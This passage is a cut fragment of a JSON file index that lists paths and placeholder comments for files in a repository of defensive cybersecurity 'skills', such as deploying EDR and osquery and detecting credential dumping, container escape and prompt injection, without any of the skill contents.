/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2FSKILL.md -->","skills/deploying-edr-agent-with-crowdstrike/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Fassets%2Ftemplate.md -->","skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fapi-reference.md -->","skills/deploying-edr-agent-with-crowdstrike/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fstandards.md -->","skills/deploying-edr-agent-with-crowdstrike/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-edr-agent-with-crowdstrike%2Freferences%2Fworkflows.md -->","skills/deploying-honeytokens-and-canarytokens/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2FSKILL.md -->","skills/deploying-honeytokens-and-canarytokens/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2Freferences%2Fapi-reference.md -->","skills/deploying-honeytokens-and-canarytokens/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-honeytokens-and-canarytokens%2Freferences%2Fstandards.md -->","skills/deploying-osquery-for-endpoint-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2FSKILL.md -->","skills/deploying-osquery-for-endpoint-monitoring/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Fassets%2Ftemplate.md -->","skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fapi-reference.md -->","skills/deploying-osquery-for-endpoint-monitoring/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fstandards.md -->","skills/deploying-osquery-for-endpoint-monitoring/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-osquery-for-endpoint-monitoring%2Freferences%2Fworkflows.md -->","skills/deploying-palo-alto-prisma-access-zero-trust/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-palo-alto-prisma-access-zero-trust%2FSKILL.md -->","skills/deploying-palo-alto-prisma-access-zero-trust/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-palo-alto-prisma-access-zero-trust%2Freferences%2Fapi-reference.md -->","skills/deploying-ransomware-canary-files/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-ransomware-canary-files%2FSKILL.md -->","skills/deploying-ransomware-canary-files/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-ransomware-canary-files%2Freferences%2Fapi-reference.md -->","skills/deploying-software-defined-perimeter/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2FSKILL.md -->","skills/deploying-software-defined-perimeter/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Fassets%2Ftemplate.md -->","skills/deploying-software-defined-perimeter/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fapi-reference.md -->","skills/deploying-software-defined-perimeter/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fstandards.md -->","skills/deploying-software-defined-perimeter/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-software-defined-perimeter%2Freferences%2Fworkflows.md -->","skills/deploying-tailscale-for-zero-trust-vpn/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2FSKILL.md -->","skills/deploying-tailscale-for-zero-trust-vpn/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Fassets%2Ftemplate.md -->","skills/deploying-tailscale-for-zero-trust-vpn/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fapi-reference.md -->","skills/deploying-tailscale-for-zero-trust-vpn/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fstandards.md -->","skills/deploying-tailscale-for-zero-trust-vpn/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-tailscale-for-zero-trust-vpn%2Freferences%2Fworkflows.md -->","skills/designing-adversary-engagement-with-mitre-engage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2FSKILL.md -->","skills/designing-adversary-engagement-with-mitre-engage/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2Fassets%2Ftemplate.md -->","skills/designing-adversary-engagement-with-mitre-engage/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdesigning-adversary-engagement-with-mitre-engage%2Freferences%2Fstandards.md -->","skills/detecting-ai-model-prompt-injection-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ai-model-prompt-injection-attacks%2FSKILL.md -->","skills/detecting-ai-model-prompt-injection-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ai-model-prompt-injection-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-anomalies-in-industrial-control-systems/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalies-in-industrial-control-systems%2FSKILL.md -->","skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalies-in-industrial-control-systems%2Freferences%2Fapi-reference.md -->","skills/detecting-anomalous-authentication-patterns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalous-authentication-patterns%2FSKILL.md -->","skills/detecting-anomalous-authentication-patterns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalous-authentication-patterns%2Freferences%2Fapi-reference.md -->","skills/detecting-api-enumeration-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-api-enumeration-attacks%2FSKILL.md -->","skills/detecting-api-enumeration-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-api-enumeration-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-arp-poisoning-in-network-traffic/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-arp-poisoning-in-network-traffic%2FSKILL.md -->","skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-arp-poisoning-in-network-traffic%2Freferences%2Fapi-reference.md -->","skills/detecting-attacks-on-historian-servers/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-historian-servers%2FSKILL.md -->","skills/detecting-attacks-on-historian-servers/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-historian-servers%2Freferences%2Fapi-reference.md -->","skills/detecting-attacks-on-scada-systems/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-scada-systems%2FSKILL.md -->","skills/detecting-attacks-on-scada-systems/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-scada-systems%2Freferences%2Fapi-reference.md -->","skills/detecting-aws-cloudtrail-anomalies/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-cloudtrail-anomalies%2FSKILL.md -->","skills/detecting-aws-cloudtrail-anomalies/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-cloudtrail-anomalies%2Freferences%2Fapi-reference.md -->","skills/detecting-aws-credential-exposure-with-trufflehog/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-credential-exposure-with-trufflehog%2FSKILL.md -->","skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-credential-exposure-with-trufflehog%2Freferences%2Fapi-reference.md -->","skills/detecting-aws-guardduty-findings-automation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2FSKILL.md -->","skills/detecting-aws-guardduty-findings-automation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Fassets%2Ftemplate.md -->","skills/detecting-aws-guardduty-findings-automation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fapi-reference.md -->","skills/detecting-aws-guardduty-findings-automation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fstandards.md -->","skills/detecting-aws-guardduty-findings-automation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fworkflows.md -->","skills/detecting-aws-iam-privilege-escalation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-iam-privilege-escalation%2FSKILL.md -->","skills/detecting-aws-iam-privilege-escalation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-iam-privilege-escalation%2Freferences%2Fapi-reference.md -->","skills/detecting-azure-lateral-movement/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-lateral-movement%2FSKILL.md -->","skills/detecting-azure-lateral-movement/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-lateral-movement%2Freferences%2Fapi-reference.md -->","skills/detecting-azure-service-principal-abuse/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2FSKILL.md -->","skills/detecting-azure-service-principal-abuse/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Fassets%2Ftemplate.md -->","skills/detecting-azure-service-principal-abuse/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fapi-reference.md -->","skills/detecting-azure-service-principal-abuse/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fstandards.md -->","skills/detecting-azure-service-principal-abuse/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fworkflows.md -->","skills/detecting-azure-storage-account-misconfigurations/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-storage-account-misconfigurations%2FSKILL.md -->","skills/detecting-azure-storage-account-misconfigurations/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-storage-account-misconfigurations%2Freferences%2Fapi-reference.md -->","skills/detecting-beaconing-patterns-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-beaconing-patterns-with-zeek%2FSKILL.md -->","skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-beaconing-patterns-with-zeek%2Freferences%2Fapi-reference.md -->","skills/detecting-bluetooth-low-energy-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-bluetooth-low-energy-attacks%2FSKILL.md -->","skills/detecting-bluetooth-low-energy-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-bluetooth-low-energy-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-broken-object-property-level-authorization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-broken-object-property-level-authorization%2FSKILL.md -->","skills/detecting-broken-object-property-level-authorization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-broken-object-property-level-authorization%2Freferences%2Fapi-reference.md -->","skills/detecting-business-email-compromise-with-ai/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2FSKILL.md -->","skills/detecting-business-email-compromise-with-ai/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Fassets%2Ftemplate.md -->","skills/detecting-business-email-compromise-with-ai/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fapi-reference.md -->","skills/detecting-business-email-compromise-with-ai/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fstandards.md -->","skills/detecting-business-email-compromise-with-ai/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fworkflows.md -->","skills/detecting-business-email-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2FSKILL.md -->","skills/detecting-business-email-compromise/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Fassets%2Ftemplate.md -->","skills/detecting-business-email-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fapi-reference.md -->","skills/detecting-business-email-compromise/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fstandards.md -->","skills/detecting-business-email-compromise/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fworkflows.md -->","skills/detecting-cloud-threats-with-guardduty/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cloud-threats-with-guardduty%2FSKILL.md -->","skills/detecting-cloud-threats-with-guardduty/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cloud-threats-with-guardduty%2Freferences%2Fapi-reference.md -->","skills/detecting-command-and-control-over-dns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-command-and-control-over-dns%2FSKILL.md -->","skills/detecting-command-and-control-over-dns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-command-and-control-over-dns%2Freferences%2Fapi-reference.md -->","skills/detecting-compromised-cloud-credentials/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-compromised-cloud-credentials%2FSKILL.md -->","skills/detecting-compromised-cloud-credentials/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-compromised-cloud-credentials%2Freferences%2Fapi-reference.md -->","skills/detecting-container-drift-at-runtime/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2FSKILL.md -->","skills/detecting-container-drift-at-runtime/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Fassets%2Ftemplate.md -->","skills/detecting-container-drift-at-runtime/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fapi-reference.md -->","skills/detecting-container-drift-at-runtime/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fstandards.md -->","skills/detecting-container-drift-at-runtime/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fworkflows.md -->","skills/detecting-container-escape-attempts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2FSKILL.md -->","skills/detecting-container-escape-attempts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Fassets%2Ftemplate.md -->","skills/detecting-container-escape-attempts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fapi-reference.md -->","skills/detecting-container-escape-attempts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fstandards.md -->","skills/detecting-container-escape-attempts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fworkflows.md -->","skills/detecting-container-escape-with-falco-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2FSKILL.md -->","skills/detecting-container-escape-with-falco-rules/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Fassets%2Ftemplate.md -->","skills/detecting-container-escape-with-falco-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fapi-reference.md -->","skills/detecting-container-escape-with-falco-rules/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fstandards.md -->","skills/detecting-container-escape-with-falco-rules/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fworkflows.md -->","skills/detecting-container-runtime-threats-with-falco/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2FSKILL.md -->","skills/detecting-container-runtime-threats-with-falco/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2Freferences%2Fapi-reference.md -->","skills/detecting-container-runtime-threats-with-falco/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2Freferences%2Fstandards.md -->","skills/detecting-credential-dumping-techniques/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2FSKILL.es.md -->","skills/detecting-credential-dumping-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2FSKILL.md -->","skills/detecting-credential-dumping-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2Freferences%2Fapi-reference.md -->","skills/detecting-cryptomining-in-cloud/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cryptomining-in-cloud%2FSKILL.md -->","skills/detecting-cryptomining-in-cloud/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cryptomining-in-cloud%2Freferences%2Fapi-reference.md -->","skills/detecting-data-and-model-poisoning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2FSKILL.md -->","skills/detecting-data-and-model-poisoning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2Freferences%2Fapi-reference.md -->","skills/detecting-data-and-model-poisoning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2Freferences%2Fstandards.md -->","skills/detecting-dcsync-attack-in-active-directory/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2FSKILL.md -->","skills/detecting-dcsync-attack-in-active-directory/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Fassets%2Ftemplate.md -->","skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fapi-reference.md -->","skills/detecting-dcsync-attack-in-active-directory/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fstandards.md -->","skills/detecting-dcsync-attack-in-active-directory/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fworkflows.md -->","skills/detecting-deepfake-audio-in-vishing-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-deepfake-audio-in-vishing-attacks%2FSKILL.md -->","skills/detecting-deepfake-audio-in-vishing-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-deepfake-audio-in-vishing-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-dependency-confusion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2FSKILL.md -->","skills/detecting-dependency-confusion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2Freferences%2Fapi-reference.md -->","skills/detecting-dependency-confusion/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2Freferences%2Fstandards.md -->","skills/detecting-dll-sideloading-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2FSKILL.md -->","skills/detecting-dll-sideloading-attacks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Fassets%2Ftemplate.md -->","skills/detecting-dll-sideloading-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-dll-sideloading-attacks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fstandards.md -->","skills/detecting-dll-sideloading-attacks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fworkflows.md -->","skills/detecting-dnp3-protocol-anomalies/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dnp3-protocol-anomalies%2FSKILL.md -->","skills/detecting-dnp3-protocol-anomalies/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dnp3-protocol-anomalies%2Freferences%2Fapi-reference.md -->","skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dns-exfiltration-with-dns-query-analysis%2FSKILL.md -->","skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dns-exfiltration-with-dns-query-analysis%2Freferences%2Fapi-reference.md -->","skills/detecting-email-account-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-account-compromise%2FSKILL.md -->","skills/detecting-email-account-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-account-compromise%2Freferences%2Fapi-reference.md -->","skills/detecting-email-forwarding-rules-attack/SKILL.md":"<!-- Skill available 